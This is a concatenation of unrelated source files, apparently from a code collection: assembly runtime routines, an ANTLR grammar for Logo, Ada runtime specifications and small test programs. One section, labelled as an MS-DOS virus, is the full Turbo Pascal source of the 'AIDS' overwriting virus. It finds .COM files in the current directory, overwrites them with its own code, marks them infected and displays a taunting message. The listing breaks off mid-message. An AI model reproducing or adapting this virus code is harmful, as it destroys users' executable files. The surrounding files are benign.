; v$ = STR$(b@) v$ = STR$(a!) v$ = STR$(x#)
; | | |
; B$STCY B$STR4 B$STR8
;
;
;****
INCLUDE switch.inc
INCLUDE rmacros.inc
useSeg _DATA
USESEG _BSS
useSeg ST_TEXT
INCLUDE seg.inc
INCLUDE rtps.inc
INCLUDE baslibma.inc
sBegin ST_TEXT
ASSUMES CS,ST_TEXT
externNP B$FloatCONASC ;Pull in floating point conversion routines
externNP B$STR_COMMON ;Common support for STR$
SUBTTL STR$ - Create String from number
PAGE
;***
;B$STR4, B$STR8, B$STCY - STR$ function support
;
;Purpose:
; Runtime Entry Points
; Create a string representing the number in ASCII
;
;Entry:
; parameter value is on the stack (R4, R8 or CY)
;
;Exit:
; AX = Address of string descriptor
;
;Uses:
; Per Convention
;
;Exceptions:
; Out of memory
;****
cProc B$STR4,<PUBLIC,FAR>
parmD arg4
cBegin
MOV AL,VT_R4
LEA BX,arg4
cCall B$STR_COMMON
cEnd
cProc B$STR8,<PUBLIC,FAR>
ParmQ R8Arg
cBegin
MOV AL,VT_R8 ;AL = data type
LEA BX,R8Arg ;BX = ptr to data
cCall B$STR_COMMON ;call common routine to convert
cEnd
sEND ST_TEXT
END
|
src/main/java/org/tros/logo/antlr/Logo.g4 | ZenHarbinger/torgo | 8 | 5337 | /*
BSD License
Copyright (c) 2013, <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of <NAME> nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
grammar Logo;
@parser::header {
package org.tros.logo.antlr;
}
@lexer::header {
package org.tros.logo.antlr;
}
/**--Added lone line detection--**/
prog
: line | (line? EOL)+ line?
;
/**--Added EOL--**/
line
: cmd+ comment?
| comment
| print_command
comment?
| procedureDeclaration
| EOL
;
cmd
: repeat
| fd
| bk
| rt
| lt
| cs
| pu
| pd
| ht
| st
| home
| setxy
| make
| localmake
| procedureInvocation
| ife
| stop
| fore
| pc
| cc
| pause
| ds
| fontsize
| fontstyle
| fontname
/*-- print_command was not originally here, so could not print_command
in if/repeat blocks--*/
| print_command
;
procedureInvocation
: name expression*
;
procedureDeclaration
: 'to' name parameterDeclarations* EOL? (line? EOL)+ 'end'
;
parameterDeclarations
: ':' name (',' parameterDeclarations)*
;
func
: random
| repcount
| getangle
| getx
| gety
;
/*--made it so that repeating can use an expression--*/
repeat
: 'repeat' expression block
;
/*--Would like to make this be multi-line--*/
block
: '[' line+ ']'
;
ife
: 'if' comparison block
;
comparison
: expression comparisonOperator expression
;
/*--added more compare operators--*/
comparisonOperator
: '<'
| '>'
| '='
| '!'
| '<='
| '>='
| '=='
| '!='
| '<>'
;
make
: 'make' STRINGLITERAL value
;
localmake
: 'localmake' STRINGLITERAL value
;
print_command
: 'print' (value | quotedstring)
;
quotedstring
: '[' (quotedstring | ~']')* ']'
;
name
: STRING
;
/*--expression also contains deref, so deref here is unnecessary--*/
value
: STRINGLITERAL
| expression
| deref
;
/**--Added parenthesis for better order of operations control--**/
parenExpression
: '(' expression ')'
;
signExpression
: ('+'|'-')? (number | deref | func | parenExpression)
;
/**--Added Power/Exponential Expression--**/
powerExpression
: signExpression ('^' signExpression)?
;
/**--Added Integer Divsion Symbol and Modulo--**/
multiplyingExpression
: powerExpression (('*' | '/' | '\\' | '%') powerExpression)*
;
expression
: multiplyingExpression (('+'|'-') multiplyingExpression)*
;
deref
: ':' name
;
fd
: ('fd' | 'forward') expression
;
bk
: ('bk' | 'backward' | 'back') expression
;
rt
: ('rt' | 'right') expression
;
lt
: ('lt' | 'left') expression
;
cs
: 'cs' | 'clearscreen' | 'cls' | 'clear'
;
pu
: 'pu' | 'penup'
;
pd
: 'pd' | 'pendown'
;
ht
: 'ht' | 'hideturtle'
;
st
: 'st' | 'showturtle'
;
home
: 'home'
;
stop
: 'stop'
;
setxy
: 'setxy' expression expression
;
random
: 'random' expression
;
getangle
: 'getangle'
;
getx
: 'getx'
;
gety
: 'gety'
;
/**--This value will tell you which repeat value you are on inside the innermost repeat loop.--**/
/**--This value starts at 1.--**/
/**--If you are not in a repeat loop, it will evaluate to 0.--**/
repcount
: 'repcount'
;
/* --modified to make the step optional-- */
fore
: 'for' '[' name expression expression expression? ']' block
;
/* --custom-- */
/* --change pen color-- */
pc
: ('pc' | 'pencolor') (name | expression expression expression expression? | hexcolor)
;
/* --change canvas color-- */
cc
: ('cc' | 'canvascolor') (name | expression expression expression | hexcolor)
;
hexcolor
: '#'HEX
;
HEX
: [0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]
;
/* --pause-- */
pause
: 'pause' expression
;
/* --draw a string to the canvas-- */
ds
: ('ds'|'drawstring' | 'label') value
;
fontname
: 'fontname' name
;
fontsize
: 'fontsize' expression
;
fontstyle
: 'fontstyle' style
;
style
: 'bold' | 'plain' | 'italic' | 'bold_italic'
;
number
: NUMBER
;
comment
: COMMENT
;
STRINGLITERAL
: '"' STRING
;
STRING
: [a-zA-Z] [a-zA-Z0-9_]*
;
NUMBER
: [0-9]+ ('.'[0-9]+)?
;
COMMENT
: ';' ~[\r\n]*
;
EOL
: '\r'? '\n'
;
WS
: [ \t\r\n]->skip
;
|
test/high_low_xmm.asm | killvxk/AssemblyLine | 147 | 15357 | SECTION .TEXT
GLOBAL TEST
TEST:
mov r9, 0x11111111
mov r10, 0x22222222
movq xmm0, r9
movq xmm1, r10
punpcklqdq xmm0, xmm1
psrldq xmm0, 8
psrldq xmm15, 8
movq rax, xmm0
ret |
MSDOS/Virus.MSDOS.Unknown.vir2.asm | fengjixuchui/Family | 3 | 29320 |
{ Beginning of source code, Turbo Pascal 3.01a }
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 13847; { AIDSYs code size }
Warning :String[42] { Warning message }
= ZThis File Has Been Infected By AIDS! HaHa!Y;
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
{ -- Variables--------------------------------------------- }
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
LoopVar : Integer; {Will loop forever}
{ -- Program code------------------------------------------ }
Begin
GetDir(0, UsePath); { get current directory }
if Pos(Z\Y, UsePath) <> UsePathLenght then
UsePath := UsePath + Z\Y;
UsePath := UsePath + Z*.COMY; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B > 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID <> Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Loopvar:=Random(10);
If Loopvar=7 then
begin
Writeln(Z
Y); {Give a lot of smiles}
Writeln(ZY);
Writeln(Z Y);
Writeln(Z ATTENTION:
Y);
Writeln(Z I have been elected to inform you that throughout your process of
Y);
Writeln(Z collecting and executing files, you have accidentally H
|
source/asis/spec/ada-command_line.ads | faelys/gela-asis | 4 | 21082 | <filename>source/asis/spec/ada-command_line.ads<gh_stars>1-10
------------------------------------------------------------------------------
-- A d a r u n - t i m e s p e c i f i c a t i o n --
-- ASIS implementation for Gela project, a portable Ada compiler --
-- http://gela.ada-ru.org --
-- - - - - - - - - - - - - - - - --
-- Read copyright and license at the end of ada.ads file --
------------------------------------------------------------------------------
-- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $
package Ada.Command_Line is
pragma Preelaborate (Command_Line);
function Argument_Count return Natural;
function Argument (Number : in Positive) return String;
function Command_Name return String;
type Exit_Status is range implementation-defined .. implementation-defined;
Success : constant Exit_Status;
Failure : constant Exit_Status;
procedure Set_Exit_Status (Code : in Exit_Status);
private
pragma Import (Ada, Success);
pragma Import (Ada, Failure);
end Ada.Command_Line;
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnarl/s-mudido.adb | djamal2727/Main-Bearing-Analytical-Model | 0 | 16210 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- SYSTEM.MULTIPROCESSORS.DISPATCHING_DOMAINS --
-- --
-- B o d y --
-- --
-- Copyright (C) 2011-2020, Free Software Foundation, Inc. --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
-- Body used on unimplemented targets, where the operating system does not
-- support setting task affinities.
package body System.Multiprocessors.Dispatching_Domains is
-----------------------
-- Local subprograms --
-----------------------
procedure Freeze_Dispatching_Domains;
pragma Export
(Ada, Freeze_Dispatching_Domains, "__gnat_freeze_dispatching_domains");
-- Signal the time when no new dispatching domains can be created. It
-- should be called before the environment task calls the main procedure
-- (and after the elaboration code), so the binder-generated file needs to
-- import and call this procedure.
-----------------
-- Assign_Task --
-----------------
procedure Assign_Task
(Domain : in out Dispatching_Domain;
CPU : CPU_Range := Not_A_Specific_CPU;
T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task)
is
pragma Unreferenced (Domain, CPU, T);
begin
raise Dispatching_Domain_Error with "dispatching domains not supported";
end Assign_Task;
------------
-- Create --
------------
function Create (First : CPU; Last : CPU_Range) return Dispatching_Domain is
pragma Unreferenced (First, Last);
begin
return raise Dispatching_Domain_Error with
"dispatching domains not supported";
end Create;
function Create (Set : CPU_Set) return Dispatching_Domain is
pragma Unreferenced (Set);
begin
return raise Dispatching_Domain_Error with
"dispatching domains not supported";
end Create;
-----------------------------
-- Delay_Until_And_Set_CPU --
-----------------------------
procedure Delay_Until_And_Set_CPU
(Delay_Until_Time : Ada.Real_Time.Time;
CPU : CPU_Range)
is
pragma Unreferenced (Delay_Until_Time, CPU);
begin
raise Dispatching_Domain_Error with "dispatching domains not supported";
end Delay_Until_And_Set_CPU;
--------------------------------
-- Freeze_Dispatching_Domains --
--------------------------------
procedure Freeze_Dispatching_Domains is
begin
null;
end Freeze_Dispatching_Domains;
-------------
-- Get_CPU --
-------------
function Get_CPU
(T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task) return CPU_Range
is
pragma Unreferenced (T);
begin
return Not_A_Specific_CPU;
end Get_CPU;
-----------------
-- Get_CPU_Set --
-----------------
function Get_CPU_Set (Domain : Dispatching_Domain) return CPU_Set is
pragma Unreferenced (Domain);
begin
return raise Dispatching_Domain_Error
with "dispatching domains not supported";
end Get_CPU_Set;
----------------------------
-- Get_Dispatching_Domain --
----------------------------
function Get_Dispatching_Domain
(T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task) return Dispatching_Domain
is
pragma Unreferenced (T);
begin
return System_Dispatching_Domain;
end Get_Dispatching_Domain;
-------------------
-- Get_First_CPU --
-------------------
function Get_First_CPU (Domain : Dispatching_Domain) return CPU is
pragma Unreferenced (Domain);
begin
return CPU'First;
end Get_First_CPU;
------------------
-- Get_Last_CPU --
------------------
function Get_Last_CPU (Domain : Dispatching_Domain) return CPU_Range is
pragma Unreferenced (Domain);
begin
return Number_Of_CPUs;
end Get_Last_CPU;
-------------
-- Set_CPU --
-------------
procedure Set_CPU
(CPU : CPU_Range;
T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task)
is
pragma Unreferenced (CPU, T);
begin
raise Dispatching_Domain_Error with "dispatching domains not supported";
end Set_CPU;
end System.Multiprocessors.Dispatching_Domains;
|
programs/oeis/063/A063102.asm | karttu/loda | 1 | 100221 | ; A063102: Dimension of the space of weight 2n cusp forms for Gamma_0( 34 ).
; 3,12,20,30,38,48,56,66,74,84,92,102,110,120,128,138,146,156,164,174,182,192,200,210,218,228,236,246,254,264,272,282,290,300,308,318,326,336,344,354,362,372,380,390,398,408,416,426,434,444
mul $0,9
add $0,1
div $0,2
mov $1,1
sub $1,$0
trn $0,$1
mov $1,$0
add $1,3
|
libsrc/_DEVELOPMENT/math/integer/small/l_small_mul_72_64x8.asm | jpoikela/z88dk | 640 | 9060 |
SECTION code_clib
SECTION code_math
PUBLIC l_small_mul_72_64x8
EXTERN l_small_mul_40_32x8
l_small_mul_72_64x8:
; multiplication of a 64-bit number and an 8-bit number into 72-bit result
;
; enter : dehl'dehl = 64-bit multiplicand
; a = 8-bit multiplicand
;
; exit : a dehl'dehl = 72-bit product
; carry reset
;
; uses : af, bc, de, hl, bc', de', hl'
exx
push de
push hl ; save MS32
push af ; save M8
exx
call l_small_mul_40_32x8 ; adehl = LS32 * M8
ld c,a
ld b,0
exx
pop af ; a = M8
pop hl
pop de ; dehl = MS32
exx
push de
push hl
push bc ; save LS32 * M8
exx
call l_small_mul_40_32x8 ; adehl = MS32 * M8
pop bc
add hl,bc
jr nc, no_propagate
inc e
jr nz, no_propagate
inc d
jr nz, no_propagate
inc a
no_propagate:
exx
pop hl
pop de ; a dehl'dehl = 72-bit product
or a
ret
|
src/drawCode/mmRender.asm | Gip-Gip/VePseu | 5 | 9545 | <reponame>Gip-Gip/VePseu
; Render the minimap
mmRender: SUBROUTINE
LDA #NULL
; Set the colour of the player
LDA #PLYRCOLU
STA COLUPF
; Set the colour of the map
LDA #MAPCOLU
STA COLUP0
STA COLUP1
; Get the player's position and translate it into horizontal movement
LDA #%00001000
CLC
SEC
SBC playerPos
ASL
ASL
ASL
ASL
STA HMBL
; Set the map's position to the right values
LDA #HADJ_A
STA HMP0
LDA #HADJ_B
STA HMP1
STA WSYNC
LDX #HWAIT
.wait1:
DEX
BNE .wait1
DELAY HDELAY1
STA RESP0
STA RESP1
LDA playerPos
STA WSYNC
LDX #HWAIT
.wait2:
DEX
BNE .wait2
DELAY HDELAY2
STA RESBL
|
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